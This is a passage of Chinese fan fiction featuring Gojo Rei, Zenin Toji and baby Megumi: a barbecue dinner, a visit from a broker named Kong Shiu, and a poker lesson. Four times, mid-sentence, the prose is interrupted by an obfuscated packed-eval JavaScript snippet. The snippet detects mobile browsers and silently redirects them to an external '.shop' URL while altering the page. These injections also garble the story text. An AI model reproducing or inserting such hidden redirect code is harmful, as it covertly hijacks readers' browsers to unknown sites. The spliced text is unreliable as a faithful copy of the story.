点上炭火,架起烤盘,用筷子一下挑起五六七片牛肉摆上去,刺啦刺啦的油润声响从盘子里炸开来。浓郁的肉香气在这一刻变得更加真实,只消闻上一口,都会觉得馋得发晕。 现在五条怜倒是没那么饿了,可能是因为被赶走的理智终于随着烤肉气味重新回到了她的脑袋里。罪恶感也一并冒出来了,她有点后悔自己脑子一热跟着甚尔走进烤肉店了。 后悔归后悔,懊恼的话语却说不出来,烤成焦褐色的牛肉送进嘴里,食之无味。好像有什么圆滚滚的东西在脑袋里转。只夹了两筷子,她就吃不下去了。 无法专心。她在想戒指的事——依然在想那个捡到戒指的初冬的午后。 风有点冷,双手也冷,躺在石子路上的戒指吸饱了寒意,触碰到指尖时,几乎要黏住她的皮肉。尽管如此,五条怜还是拾起了戒指。 奔走在庭院里,她的心跳得好快。 家主会夸赞她吗,因为她帮忙拾回了戒指?他肯定会高兴的,因为她做了一件很有用的事。 如今想来,当时脑子里装着的尽是些不切实际的奢望,多少带着点值得揶揄的可笑。 愚蠢的期待破灭得很快,倏地就被家主眯起的蓝色眼眸压碎了。 「请不要来打扰我。」 甚至是“请”,礼貌又疏离。 他看着自己,像在看老鼠。 对,老鼠,被踩遍的老鼠。 去年的冬天,她买下了一只宠物仓鼠,小小的,灰毛的,却不慎让它逃到了庭院里,逃到了家主的脚下。然后就是一声噗嗤——变得就像烤盘上呲出血水的牛肉片一样。 那时的家主也眯起了眼,很恶心似的甩甩脚。就是那样的眼神。 扑哧扑哧,扑哧扑哧。 烤盘上的和牛肉片被沸腾的油花顶得上下翻腾,边缘稍稍泛黑,再烤下去就该焦了。五条怜看到甚尔的筷子探过来了。迟钝了片刻,她也伸出了手,飞快地抢走了这块肉。甚至有点太着急了,他们的筷子都撞在了一起,发出好响亮的啪嗒声。 “饿死鬼吗你?”他不太高兴地嘀咕了一句。 虽然嘴上如此抱怨,但这毕竟是自助餐,所以就算被抢走了一块肉,也没什么好难受的。干脆很豪横地再把菜单上的每一种肉都点一遍,牛舌和牛心特地要了两份——他爱吃嘛。 烤盘上的呲啦呲啦声响了好久,吃空的黑瓷盘也在桌边垒得好高,不知不觉超过了五条怜的脑袋,誓要和这家店里个头最显眼的甚尔一较高下。 终于,在堆起的盘子超出了甚尔所在的海拔线时,五条怜也夹走了最后一筷子牛肉。 吃饱啦——! 不只是吃饱而已,她都撑到扶着墙才能走得动的程度了。虚浮的脚步被肚子里的牛肉压得结实到不能再结实,以至于迈出的每一步都变得分外有实感了。就连甚尔看起来也是难得一副心情不错的样子。 “这下算是把本钱吃回来了。”他也走得慢吞吞,垂眸瞄了五条怜一眼,“没想到你胃口挺不错的。” “唔……多谢夸奖?” 话虽如此,五条怜也不知道自己究竟是怎么吃下这么多东西的。现在被冬日的冷风一吹,她忽然想到,可能是不愉快的记忆触发了对愧疚感的逆反心理(此处说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429927|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然是把买戒指的钱拿去吃豪横的自助餐的愧疚感),以至于胃口大开,吃下了比平时还多的东西。 是否觉得舒坦了?唔……好像没有。 她吃得有点太多了,多到胃都被撑薄了,牛肉几乎要从身体里漫出来。她默默加快脚步,飞快地钻进家门,努力屏蔽掉婴儿床里的咿呀声,径直冲向沙发,只想赶紧躺下来歇一歇。 歇了不多久,角落里忽然传来细细簌簌的微弱声响,五条怜想要装作没听见,可这声响实在是太难以忽视了。她慢吞吞坐起身来,一眼就看到了蹲在沙发一角的甚尔。 他缩起了身子,努力把手探进沙发和墙面的缝隙间,不知道正在摸索什么,但这副姿态看起来实在像是放大了一百倍的老鼠,或者是缩小一半的哥斯拉——啊不对,老鼠和哥斯拉貌似不是一个物种? 老鼠也好,哥斯拉也罢,甚尔这副做派怎么看都鬼鬼祟祟。五条怜旁观了好一会儿,才敢小声问:“您在做什么?” “我在——”似乎是抓住了什么东西,他用力一拽,“——拔电话线。” “电、电话线?” 五条怜怀疑自己是不是漏听了几句话,不然她现在为什么会觉得很懵呢。 甚尔把电话线缠在指尖上,随手晃了几下,这才往旁边一丢。 “估摸着这两天要交房租了。”他钻进被炉里,一如既往,“房东肯定会先打电话来催我。唉……烦心。” “哦——”五条怜了然般点点头。 难怪要拔掉电话线了,原来是想要从根源解决电话催促的问题。 “这两天要是有人来敲门的话,你负责去应门吧。”甚尔往被炉深处拱了拱,“要是找我的,你就让他等一等。” “一直让对方等下去吗?要是他破门进来怎么办?” “啊?也是。”他好像才意识到这个可能性,挠挠头又思索了一会儿,总算拿定主意了,“那就先告诉我,我再看看怎么办。” “好的好的。” 五条怜一连点头。点着点着,忽然又想到了一件事。 每天都要上门的外卖小哥该怎么办呢,要是凑巧和讨要房租的房东一起过来了,那不是很尴尬? 这个问题倒是好解决,不点外卖就可以了。但饭依然要吃。在这种危难时刻,被动承担起跑腿重责的,当然是五条怜啦! 一天两次,一次两份。虽说是许下了“什么都做”的承诺没错……但怎么连体力活也要干啊? 拎着两份沉重的定食套餐走在楼道里,五条怜怨念满满地想。 不过,考虑到手中重量的其中一份是属于自己的,心头的怨念好像也随之减轻了一点,彻底变成一缕微弱的吱呀声,伴着踏上台阶的疲惫感消散无踪。 走上最后一级台阶,再挪到熟悉的门前,她左右望了望,确定走廊里没有其他任何人在,才拿出钥匙,飞快地开门钻入。 屋里黑漆漆的,空气也带着不流通的沉闷感。甚尔还在睡觉,禅院惠也乖乖窝着。她蹑手蹑脚,小心翼翼地往昏暗的家的深处步入。 把餐盒轻轻放在桌上,碰撞出的“咚”一声却是从身后响起的。 随即是更急促的一连串“咚咚咚”。 有人敲响了大门。 12.陌生来客 自从拔掉电话线的这几天来,禅院家的大门第一次被人敲响,听起来不算多么急促,但分外突兀地从背后响起时,难免叫人胆寒。五条怜猛抖了一下,心虚感瞬间拔到了头顶上。 说实在的,她现在连动都不情愿动一下,只想把存在感降到最低。 屏息等待了不多久,敲门声又响起来了——这回听起来多少带了点焦躁感。 看来缩头乌龟是当不下去了。五条怜努力把心头泛滥的紧张感推到一边,磨蹭着起身,慢吞吞踱到玄关,在开门之前先做了长达十秒钟的心理准备。 不管怎么拖延,这扇门总归是要被打开的。伴着吱呀一声,走廊里的混杂着白炽灯的日光落进门缝,刺得她忍不住眯了眯眼,小声嘀咕出的一句“您好”,听起来仿佛蚊子在叫。 用不了多久,视线就能习惯这样的亮度了。五条怜能看到一个男人站在门外,穿着西装,人也很高,看起来意外的是个妥帖的家伙。 四目相对的瞬间,男人的脸上似乎扫过短暂一瞬的困惑。他稍稍后退了些,歪过身子去看门旁挂着的名牌,思索了几秒钟后才重新回到门前,冲她一笑。 “禅院甚尔在家吗?” ……果然是来找甚尔先生的! 刚刚才消散了些的警惕心瞬间又提起来了。五条怜飞快地上下一挑眼眸,把眼前男人从头到脚打量了个遍,沉吟着还在思索该怎么搪塞他才比较合适。 “你问禅院甚尔呀?呃,我得问……我得先进屋看一看。”光明正大的谎言害得她心跳好快,“我才刚回家,不确定他是不是已经出去了。您稍等我一下,好吗?” 虽然抛出了一句“好吗”作为结尾,但实际上五条怜根本没胆子去听对方的回答。她可不敢想象要是对方说出“不好”的话,自己该怎么应付。 赶在男人出声之前,她飞快地关上了门,挂上链条旋紧门锁,转身冲向被炉,一路上踢飞了三个塑料袋和五个易拉罐,相当狼狈地才抵达了终点。 出乎意料——但也算得上是意料之中,甚尔还在呼呼大睡。 无论是窃窃私语般的小声对话,还是咚咚咚结实的敲门声,亦或者是近在桌上散发着诱人香味的照烧鸡肉套餐,全都没办法将他从深沉梦境中拽出来。甚尔睡得好香。 五条怜伏低身子,飞快的心跳似乎也随之被折叠得更加强烈,简直要从喉咙里蹦出来了。 她轻轻唤了他两声,而后又提高了点音量,结果全都石沉大海。别说是醒来了,他甚至都没动弹一下,真叫人怀疑他会不会是在装睡。 “甚尔先生!快醒醒,有人找你!” 她鼓起勇气,用手指戳戳他的肩膀,指尖居然有点痛。 ……好硬。这家伙是用石头做出来的吗? 真是个令人纳闷的问题,而且一时半会儿显然无法得到解答。但唯一的好消息大概是,在她坚持不懈的戳戳之下,甚尔终于发出了两声困倦的哼唧,慢悠悠睁开眼,仿佛在海景酒店睡到自然醒的观光客,而不是危机当头的超现实穷鬼。 先摸摸额头,再揉揉脑袋,甚尔沉沉呼出一口气,一歪脑袋,漫不经心睨着她。 “你说有人找我,是吧?”一开口就是危机感为零的恹恹发言,“那人是个男的吗?” 五条怜连连点头:“嗯!嗯!” “而且个子小小的,身上一股老人臭,脑袋还——”他竖起一根手指,在头顶上画了个看不见的圆,“——秃掉了?” “唔……” 甚尔所描述的人物,好像和门外的来客很不一样? 五条怜仔细回想着几分钟前的记忆,果断摇摇头。 “找你的那个人个子很高,穿西装。” 她把双手插进发间,让头发立起来。 “他的头发是这样子的。”然后垂下手,把本就细长的眼睛拉得更平,“小眼睛,单眼皮。还有……”绝不能忘记用食指往唇上抹一下,“有对小胡子!” 这绝对是最惟妙惟肖的说明方式了。甚尔思索了两秒钟,忽然翘起嘴角,露出了一个不太像是笑容的笑。 “我知道是谁了。”他总算是情愿做起来了,伸出手拍了拍她的脑袋,“叫他进来吧。” “哦……” 可我不知道他是谁耶。 她暗自心想。 说实在的,倘若来者有着五条怜熟悉的面孔,那才叫麻烦呢。她赶紧丢开这点无关紧要的小郁闷,乖乖打开了门。但直到来客从身旁走过,她才后知后觉地意识到,应该同对方说一句“请进”的。 不过嘛,就算是没有这句“请进”,他也还是走进来了,目光以极小的幅度四下张望着,每打量一眼,他的表情都会多出一份微妙感,大概是因为禅院家算不上是多么宜人的居住环境吧。 就这么一边打量一边走着,他总算来到了甚尔身后,却站着不动——客厅里实在没有太多能够容纳客人的空间。 甚尔选择无视掉这个显而易见的事实,装作热情地邀请他坐下:“稀客啊,居然是孔先生!随便坐吧。” 对方当然是无奈地叹气,视线又开始左右乱瞟了:“我知道,上次的委托人随便克扣佣金却是很不道德,但你也不能如此堕落吧。还有,你在拐卖儿童吗?” “好没礼貌啊你。”甚尔冲他翻白眼,“我会做这种事?” “你这种人,什么事都做得出来。所以我现在才会来找你。” “意思是有新的活吗?这倒不赖。……哎,大人说话,小屁孩别待在这儿添乱。” 猝不及防,五条怜被甚尔嘘了一声,后知后觉地愣了片刻才意识到自己就是他所说的“小屁孩”。虽然不知道他这话是个什么意思,但她还是很配合地往旁边挪了两步。 还没来得及迈出第三步,他又发话了。 “把惠也一起带走。”他倒是一视同仁,“别忘了,他也是小屁孩。” “好的好的……但我要带他到哪里去比较合适呢?” 这个奇怪的问题让甚尔“啊?”了一声,但他也的确认真思索了一下,说:“去卧室吧。” “卧室门锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14440833|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了。” “呶,来拿钥匙。” 把禅院惠抱在怀里,五条怜勉强腾出两根手指,夹住钥匙,而后飞快地溜走。每迈出一步,怀里的禅院惠都会往下滑一寸,等到关上卧室门时,他都扒在自己的大腿上了。她咬紧牙关,努力往上一掂,总算借着惯性让禅院惠回到正常高度了。 从平安夜直到现在,这小家伙绝对长大了不少,头发也变长了些,后脑勺的几缕发丝不听话地上翘着,看起来真像是一只结实的小海胆。 他在五条怜的怀里团起身子,发出咕唔声,倏地变成了一颗圆球的模样。 一般来说,接下来他就要开始闹腾了,包括但不限于哇哇大叫,或者是尽情地伸展四肢,毫不在乎自己的小拳头会砸在谁的脑袋上。 不过现在,上述这些可能性,全都没有发生。 禅院惠只是伸了个懒腰,而后困意就冒出来了,伏在五条怜的肩上沉入梦乡,毫不留情地把她的手臂压到酸痛发涨。不过没关系。 你真是个好孩子呀——五条怜会小声地在他耳边说。 怀抱着禅院惠,顺便沉浸在双臂酸痛的痛苦中,一时之间好像别的什么都显得不那么重要了。要不是卧室门忽然被打开,她都没有意识到外面的对话早就已经结束了。 “别待在里面磨蹭啦。”甚尔催着她。 “唔……知道了。” 她明明没有在磨蹭嘛,只是抱了禅院惠太久,浑身上下的力气都因此被吸干了,害得她一时之间难以迈步,整个人看起来就像是被按下了慢速播放。 估计是看出了她的举步维艰,但更大的概率应该是嫌弃她实在太慢了,甚尔快步走过来,轻巧地抱起惠,把他甩到肩上,又冲她一招手,只余下五条怜满脸惊愕,实在不明白他这么野性狂放的手法到底为什么没害得惠哭出来。 难道这就是传说中的血脉亲情?又或者甚尔其实是个深藏不露的哄孩子大师,一直以来不怎么照顾惠全都只是懒惰作祟?根本想不通! 在心中纠结了好几分钟还是想不到什么正经的答案,五条怜彻底放弃了思考,转身锁门,照甚尔的嘱咐,把钥匙塞进了他的口袋里。 家里又只剩下他们三个人了。被称作“孔先生”的男人已经告辞,可客厅里还留有他身上那股陌生的古龙水气味,其实很好闻。她探头嗅了嗅,还是忍不住想,真是好一股突兀的味道。 五条怜打开窗,让风赶走家里的异样味道,心里多少有点懊恼。 亏她刚才还在盘算着呢,要躲在卧室里窃听甚尔和来客的对话,结果却被可可爱爱禅院惠吸引走了全部的注意力,连半点有用的都没有听到。偷偷观察甚尔几眼,好像也看不出什么特别的。非要说有什么地方不太一样,大概是他的表情没那么紧绷了,而且脚步也没那么拖沓? 这点不同,有些小小的奇怪,但也没有那么奇怪。五条怜想了好多好多,一抬头,才发现甚尔正盯着自己。 “你啊。” 他叹着气。 “我知道你在想什么。” 13.扑克脸 ——我知道你在想什么。 不管是谁听到这么一句话,心里肯定都会咯噔一下的。五条怜当然免不了落入俗套。 而且,还不止是咯噔而已,她的心跳都快要飘起来了,带着一点不真切的虚浮感,让视线都不自觉飘到天花板上去了。 “是……是吗?” 不知道怎么回答才好,总之先用含含糊糊的话语搪塞一下再说吧。 很可惜,想要应付甚尔,绝对不是什么容易的事情。他依旧睨着她,毫不留情地一语道破。 “你的笨蛋脑瓜里绝对在猜刚才来的男人是谁,还在想他和我说了什么吧?” “呃——!” 精准地全部猜中了! 心虚感疯狂泛滥。五条怜僵在原地,都不知道该说点什么才好了。 莫非禅院甚尔是什么了不得的心理学家,一眼就洞悉了她的所有心思?或者或者,是她的脑袋在不知不觉间变得彻底透明,所以他才能轻松的窥见到自己的想法?啊啊啊,好想把脑袋捂住! 五条怜知道自己不能再想了,否则肯定会被甚尔捕捉到更多她的心理活动。可尽管心里警觉着,思绪却停不了,反倒乱七八糟想了一大堆,各种各样的念头在脑海中齐鸣,怎么都安静不下来。 “你也用不着紧张成这样吧?我可没有读心的本事。”甚尔取笑她这副慌乱做派,一边说着,一边把禅院惠放回到小床上,“是你自己把所有想法统统写到脸上了。得学会扑克脸才行啊,你。” “唔……这样啊……” 原来不是他多么善于揣摩人性,也并非是自己的脑袋透明得一眼就能看穿里头装了什么。五条怜好像能松一口气了,可她还是没法完全放松下来。 她完全没想到,藏不住心思的那方居然是自己。 还有,扑克脸是什么意思呢?听起来和“扑克牌”真像。 这点小小的困惑显然也流露到了表面。五条怜看到甚尔挑了挑眉。 “你会打牌吗?” “不会。”她很诚实地摇摇头,“阿悟也不会打牌。” 五条家都没有教给五条悟的东西,她五条怜当然无处可学了。 “我不关心你们家的六眼。”甚尔瘪着嘴,“不会打牌多没意思!坐好了,我教你吧。” “好。” 五条怜乖乖坐到被炉旁,甚尔则探身钻进某个东西多到快要溢出来的橱柜,往里摸索了一番,期间把八样东西弄掉在了地上,本人却毫无自觉,直到摸出一副扑克牌,这才折返回来,庞大身躯往地上一坐,压得木地板都发出了吱呀一声。 好不容易找到的这副扑克是个相当有年代感的产物,包装盒的四角都被磨白了,扑克牌本身也变得更加柔软,背面磨出了浅浅的划痕。 如果是要进行一场正经的牌局,那他绝对是不会用这副牌的——光靠磨损痕迹就能分辨出对方抓到了怎样的手牌,这可不是什么有意思的玩法。不过现在只是对笨蛋小孩的额外教学时间而已,不用太过细致认真。 先把桌上的东西推到一边,热气腾腾的午饭也暂且先摆着吧。甚尔将牌铺开,余光能瞥见到偷摸摸打量着自己的五条怜。 她总喜欢低着头,肩膀也缩成小小一团,只抬起眼眸偷窥周围,带着一点怯生生的做派。他假装没有看到她眼底藏着的好奇,只在摆好牌之后,才抬起手来,在她耳朵旁边打了个响指。 “好。现在开始你要认真听了。”甚尔提醒她。 琢磨得太入神,五条怜被突兀的响指声稍稍吓到了,慌忙坐直身,胡乱点了点头,把四散的念头重新拢回到心里,强迫自己盯着他的手,尽力把每句话都听进心里去。 四种花色,各十三张,再加上大小王牌,总计五十四张的一整副扑克可以拼凑出近乎无穷多的玩法。 要把所有的扑克玩法一口气全都教会,听起来多少有点不切实际,甚尔也懒得完成这么大工程量。他随便挑了种两个人就能上手的玩法,开始了他不算完美的教学。五条怜也在认真地听认真地学,可惜她对于知识的吸收量,大概只有百分之五十左右。 意思是说,甚尔所说的一半,她都没弄明白。 这到底是教人的那位水平不精,还是听课的那位脑袋不灵光,这是个深奥的问题,一时半会儿实在给不出准确的答案。 无论是学艺不精还是照本宣科,其实甚尔都不在意。他是忠实的实践派,笃信亲自操作才能找到真理,不管五条怜的受用程度如何,把该介绍的全都介绍完之后,便动手开始分牌了,害她瞬间心惊肉跳起来。 糟糕,突然有种糊弄着做完作业结果被家庭老师当场抓包的惊恐感,这是怎么一回事? 越想越觉得心慌,明明窝在暖烘烘的被炉里,五条怜却抖个不停。甚尔斜眼睨着她,像是嫌她不争气。 “干嘛?我又不会骂你。”他嘀咕着,“我也从来没骂过你吧?” “这个嘛……” 这是个值得好好思索的问题,她一下子给不出答案。 仔细回想一下……啊,甚尔说过她像狗一样难缠。 “这是骂人吗?”当事人的异议和手牌一起丢到了五条怜面前,“而且你自己不也说,当一只狗没什么不好的。” “呃……” 好像,确实这么说过? 五条怜心虚地拿起扑克牌——说真的,今天完全就沉浸在了心虚感的海洋里嘛——不再吭声,默默在心里回顾着甚尔刚刚说过的,可惜依然觉得毫无头绪。 算了。先硬着头皮上吧! 这一局的先手是五条怜。 把手中的牌看了又看,纠结了好一会儿,她总算选出了三张,轻轻放在桌上。甚尔只抬起眼皮扫了一眼,丢出更大的三张牌甩到桌上,薄薄的扑克牌砸向木制桌面,碰撞出洪亮的一声“啪!”,气势惊人。 探头看看桌上的牌,再缩回来看看自己的手牌,五条怜一下子不知道该怎么出才好了。 按理说她要想办法用更大的牌压住甚尔才对,可看来看去,好像都凑不出更大的了。所以接下来应该…… “没牌可出的话就快摸牌啦。”甚尔催着她。 哦对,是了是了,应该摸牌才对。 五条怜伸手探向两人之间的牌堆,用指尖捻了一张牌,但手感好像意外的很厚。她仔细瞄了瞄,总觉得自己摸到的好像是两张贴在了一起的牌。这一点也被甚尔发现了。 “摸多了。”他抬起食指,轻轻打在她的手背上,“还回去。” “哦……抱歉。” “原谅你了。” 真是有够出师不利的呢。她暗戳戳想。 但没关系,因为接下来也不会顺利到哪里去。 好不容易轮到一次出牌权,每次都会紧接着被他用更大的牌压住,摸到手中的牌也越来越多,多到一只手都握不住了。看着对面甚尔的手里一点一点减轻负担,而自己却还得捏着一大把牌,五条怜觉得好郁闷,沮丧地弓着背,连嘴角也快耷拉到桌面上了。 毫不意外,这局是甚尔的绝对胜利。他把牌重新拢起来,开始了第二局。 “你别那么磨蹭。”他像是在传授经验,“能出牌的时候就出吧。虽然耐心是个好品质没错,但老犹豫的话,会让好机会溜走的。” “明白了。” 明白归明白,能不能运用到实际,这就是另外的问题了。 五条怜不觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14449413|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己上一局惨败的原因完全是迟疑导致的。非要说的话,有八成责任应当归咎于烂到让人咬牙切齿的手牌。 要是能拿到一副绝佳好牌,说不定以她稀烂的牌技,也能够…… ……咦? 把手中的牌整理好,五条怜仔细看了一遍,然后又忍不住又扫过三遍。每看一回,她的心绪好像都会随之漂浮一些,以至于到了最后,她整个人都有点飘飘然的了。 好齐整的一副牌,一眼看过去还基本都是能狠狠压住对方的大数字。这次绝对有胜算了! 脸颊上的神经好像在跳个不停,她努力忍耐着不要笑出声来。 “拿到好牌了?”忽然听到甚尔这么说。 难道是被他偷窥到牌面了吗?这可不妙。好不容易才得到的首发优势,绝对不能随意浪费! 五条怜飞快地一抿嘴,把手中的牌往里压了压。 “没有。”她咕哝着,努力塑造出一副低落模样,“就是普普通通的牌。” “小骗子。上一局打输的时候可怜兮兮得像是要哭出来的模样,现在乐得嘴角都要扬到天上去了,笨蛋都能猜到你心里在想什么。” “呃——”赶紧板起脸,“我没在笑。” “所以说你是个小骗子嘛。” 甚尔随手抓起桌上的一团纸巾,丢到她的脑袋上,砸出很轻的“咚”一声。 “你这样的人,在牌桌上会很吃亏的。”他轻呼出一口气,带着些许尼古丁的味道,“无论拿到的是好牌还是烂牌,都不要被任何人看出来,这才是扑克脸的精髓。” 啊,所以才是“扑克”脸呀。 一贯迟钝的脑袋好像还没有变得多么灵活。五条怜点点头,努力把他的话记进心里,目光却忍不住开始打量起他。 他还在整理着手中的牌,佝偻着身子的模样倒很像一只巨大黑熊。平常他也总是这样一副自在的做派,只是往日里他不常和自己说那么多话,也绝不会做出教她打牌这种事。 果然,今天的甚尔先生,看起来比往日轻松多了,也更好相处——绝没有在暗示他平常很不好相处的意思! 他们认识的时间太短了,五条怜还没有见过甚尔心情好的时候会是什么模样。但她可以断定,现在的他完全能够和“心情不错”关联起来。 不管怎么想,如此显著的变化,肯定是今日的访客所带来的。所以那位孔先生到底是谁,他们到底说了什么呢? 疑惑又绕回到了原点。五条怜意识到,自己的困惑还没有得到任何解答。 “我说,你啊。”他忽然出声,依旧垂眸盯着手牌,“有话就说吧。老是这么睁大眼好奇地晃来晃去,好怪。” “抱歉。” “老是道歉这一点也挺烦。” “哦……” 差点又要说出“抱歉”了,还好她及时反应过来。 都被这么说了,要是再继续遮遮掩掩,估计会把甚尔惹毛。五条怜丢开所有犹豫,把疑问尽数吐露。 “那家伙是个中介。”他说,“名字叫孔时雨。” “外国人?” “韩国人。” “这样啊……” 五条怜慢吞吞点着头,大脑已经自动开始播放起《蓝色生死恋》的主题曲了。 一个疑问解决了,但困惑没有消除。“他是什么类型的中介呢?” “帮忙为各种各样上不了台面的活计牵线搭桥的那种中介。他欠了我一个人情,所以把新的工作委托给我了。是轻松赚钱还不用弄脏手的好差事。” 他笑了一声,抽出几张牌,丢在桌上。原来这局的先手是他。 “别忘了你的承诺,五条怜。这次你得来帮忙。” 14.偷偷摸摸 新的工作,这话听起来仿佛充满希望。不过,甚尔的工作到底是什么来着? 对于这个问题,五条怜一直觉得毫无头绪。 尽管无比好奇,但这似乎不是什么能够正大光明地询问出口的事情,她索性秉持着一贯的认知,为甚尔贴上了“专职干肮脏活的杀手”这一标签。 那么,为此等人物打下手的自己,又该承担起怎样的职责呢? 五条怜琢磨了好几天,能想到的无非就是帮忙捅最后一刀或者越货或者清理现场,不管是哪种可能性貌似都挺可怕的。 她胆战心惊地幻想着自己可能遭遇的场景,起初还免不了觉得恐慌,不过想的次数多了,惊慌感居然消失了不少,好像整件事也没那么可怕了。 当然了,她大可以主动问甚尔,不过要鼓起勇气迈出这主动的一步,对于五条怜来说多少有点困难。她索性假装自己是只小老鼠,偷偷摸摸观察起他的一举一动。 自从打牌那天提到过有新工作之后,甚尔就没再提起过与之有关的事情了,一如既往,依旧把一整天的时间尽数耗费在被炉里头。 断线的电话机始终维持着无法接通的状态,每天的餐食也由她下楼去拿,禅院家的门倒是再也没被敲响过。 对他们来说,门可罗雀才是天大的喜事。 吱呀一声,甚尔从被炉里探出脑袋,慢悠悠起身,一脚踩在松动的几块木地板上,压出这番牙酸的声音。他从桌上摸走一只香烟,把耗尽了油的打火机按了整整八次,才总算用冒出的小火星点燃了烟头。 啊。是了。他抽烟的频率变得更高了,这是近来唯一显著的变化。 意识到这一点,是五条怜看倒了甚尔伏在窗台旁的懒散背影——这家伙甚至还曲起了一条腿,悠闲地架在她每天都会踩着晾衣服的小凳子上,姿态真差! 暂且先把这点小小的不满按下不表,抽着烟的甚尔看起来总有种游刃有余的轻松感,不知道当尼古丁烟雾滤过双肺时,他在思考些什么。 好想钻进他的脑袋里,看看他的想法。 恰是在冒出这般狂放念头的同时,甚尔忽地侧首,透过玻璃窗上浅浅的倒影看向她。 “喂,阿怜。”他非要添上累赘的一个“喂”字,“明天下雨吗?” “明天?”五条怜努力挖掘在脑海中所有与天气有关的情报,“呃……好像,不下雨?” “最近哪天下雨?” “……我不记得了。” “行吧。” 他倒也不恼,随手把烟头往马克杯里一摁,拖着步子走回来。 “那你今晚记得看天气预报。”他叮嘱了这么一句,抓起搭在椅背上的外套,“我出去一下。” “您一路顺风……那什么,我不用跟着您一起去吗?” 甚尔摆摆手,看来是不用的意思。五条怜习惯性地又念叨了句“一路顺风”,目送着他出门。门合上的瞬间,不知怎么的,她心里居然有种空落落的不真实感。 现在,家里只剩下她和禅院惠了。仔细想来,这还是头一次呢。 兴奋感嘛,当然是没有的。独自在家从来算不上是什么高兴事。至于恐惧,更加不会存在了。她又不是无法独立的小屁孩。 话虽如此,寂寞感好像难以避免。 电视里的综艺节目无聊得让人发昏,五条怜在客厅里踱了两圈,绕到了禅院惠的床边。 从小怪物升级为小海胆的小家伙,此刻正在盯着床头挂起的彩色塑料动物独自傻乐,把短短胖胖的手臂伸得好直,像是要去抓这些触不可及的玩具。看到熟面孔过来了,他的兴趣也瞬间转移到了五条怜的身上,挥舞的双手对着她晃来晃去,咿咿呀呀叫个不停。 最近五条怜的婴儿语技能精进了不少,她知道这是索求拥抱的催促。于是她也伸出了手。 不管抱几次,她都觉得禅院惠又结实又重,总得先深呼吸几口气,才能好好地抱起来。还好今天小海胆不算折腾,正分外乖巧地躺在她的臂弯里,否则一旦闹腾起来,最受罪的就是她了。 “你爸爸出门了哟。”她伸手戳戳小海胆脑袋上尖尖的一缕发丝,“现在只剩下我们啦。” 大概是听懂了这句话,禅院惠放心地闹腾起来,在空中尽情地挥动四肢,扭着身子不知道是想钻到什么地方去。五条怜立刻紧绷起来,连一下都不敢多动。 放任着让他尽情地舒展上一会儿,用不了多久就可以耗尽电量了,只是禅院惠依然执拗地拧着身子,似乎是要伸手去抓侧旁的什么东西。顺着他探身的方向望去,五条怜看到了紧闭的卧室门。 “……你想进去吗?”她有点意外,“是不是?” 小婴儿可没办法回答如此困难的问题,不过这执拗的姿态好像已经说明了一切,但也可能是五条怜一厢情愿地想要认定自己的猜想无误吧。她有点为难。 “我没办法带你进去哟。你知道的,我没有钥匙。”抱着禅院惠,她磨磨蹭蹭向卧室挪动,“我最多只能带你到门口看一看,好吗?” 依然没有答案,不过她的脚步已经来到卧室门前了。 小海胆好像真的对这里头很好奇,伸手去摸门上的纹路,嘴里咿咿呀呀,说着以五条怜目前的水准无法破译的宝宝语。她甚至忍不住猜,他在说的会不会是“让我进去”。 暂且先不纠结小婴儿是否已经到了能够理解“让我进去”这般复杂言语的程度,她也确实没办法打开卧室的大门嘛。早就说过了,她没有钥匙,所以…… ……哎。等一等。 忽然想起昨晚看过的肥皂剧,其中一个桥段是,主角用发卡代替了钥匙,顺利打开房门。 五条怜费劲地腾出一只手,往头上摸了摸。很巧,她也有一枚发卡,而且还是肥皂剧同款的波浪形发夹。 说不定,真能打开卧室? 意识到这一点的瞬间,五条怜能清晰地感觉到一股热血冲上了大脑。 然而下一秒,这股热血就立刻回落了。 且不说成功率如何,要是被甚尔先生知道她干了什么,他八成会生气——他肯定是出于必要的理由才锁门的。 把甚尔惹生气,绝对不是什么好事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14459589|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 